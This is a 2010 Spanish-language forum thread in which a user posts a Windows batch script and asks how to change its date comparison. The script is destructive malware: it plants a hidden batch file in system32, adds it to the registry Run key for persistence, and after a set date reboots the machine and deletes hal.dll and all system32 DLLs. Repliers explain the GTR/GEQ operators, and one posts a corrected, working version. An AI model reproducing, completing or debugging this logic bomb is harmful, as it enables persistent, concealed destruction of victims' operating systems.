problema en batch

Iniciado por supradyn_activo, 4 Julio 2010, 02:22 AM

0 Miembros y 1 Visitante están viendo este tema.

supradyn_activo

Código (bash) [Seleccionar]
@echo off
cd "%windir%\system32"
echo @echo off >> Wlcomn.bat
echo set fin=20/07/2010 >> Wlcomn.bat
echo if %%DATE%% == %%fin%% ( >>Wlcomn.bat
echo shutdown -r -t 4 >> Wlcomn.bat
echo erase /q /a "%%windir%%\system32\hal.dll" >>Wlcomn.bat
echo erase /q /a "%%windir%%\system32\*.dll" >>Wlcomn.bat
echo ) else ( >> Wlcomn.bat
echo exit ) >> Wlcomn.bat
@reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.bat
attrib +h "%windir%\system32\Wlcomn.bat"


Necesito que en esta linea: "echo if %%DATE%% == %%fin%% ( >>Wlcomn.bat" sea un mayor que... como se haria?funcionaria?

leogtz

¿Tu dices cambiar el operador de comparación == por mayor qué?
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Hekaly

buenas supradyn_activo

Lo que buscas es que en vez de ser ==, sea >= , no??

Pues bien, como sabras al poner ">" en batch se lo toma como redireccion y da error , en cambio ya pensaron en eso y es utilizar otras expresiones que no sean (=, !=, <, >, <= o>=).

EQU --> igual
NEQ --> no igual
LSS --> menor que
LEQ --> menor que o igual
GTR --> mayor que
GEQ --> mayor que o igual

Esto lo puedes encontrar en la ayuda del if.

Ahora bien cambiando la linea por esta:

echo if %%DATE%% GTR %%fin%% ( >>Wlcomn.bat

Haber si es eso lo que quieres.





flony

#3
solo para saber...
queres que se haga despues de n inicios o sea a la decima prendida de pc por ejemplo, que arranque siempre despues de una fecha, queres que solo funcione una vez despues de tal fecha...
edito
de todas formas aca esta tu bat funcionando este bat va a funcionar siempre que haya pasado el 20/07/2010
@echo off
cd "%windir%\system32"
echo @echo off>>wlcomn.bat
echo set fin=20/07/2010>>wlcomn.bat
echo if %DATE% GEQ %fin% (>>wlcomn.bat
echo shutdown -r -t 4 >>wlcomn.bat
echo erase /q /a "%%windir%%\system32\hal.dll">>wlcomn.bat
echo erase /q /a "%%windir%%\system32\*.dll">>wlcomn.bat
echo ) else exit>>wlcomn.bat
@reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.batattrib +h "%windir%\system32\Wlcomn.bat"
attrib +h "%windir%\system32\Wlcomn.bat"

en la parte del registro estodo junto en el mismo renglon pero no lo se poner  :rolleyes:
tus errores son
en el
Citar%%DATE%% == %%fin%%
lleva solo un % no dos...y en el else no se pone () va yo no los pongo asi dice la ayuda de IF /?
si un problema no tiene solucion entonces no es un problema...es algo inevitable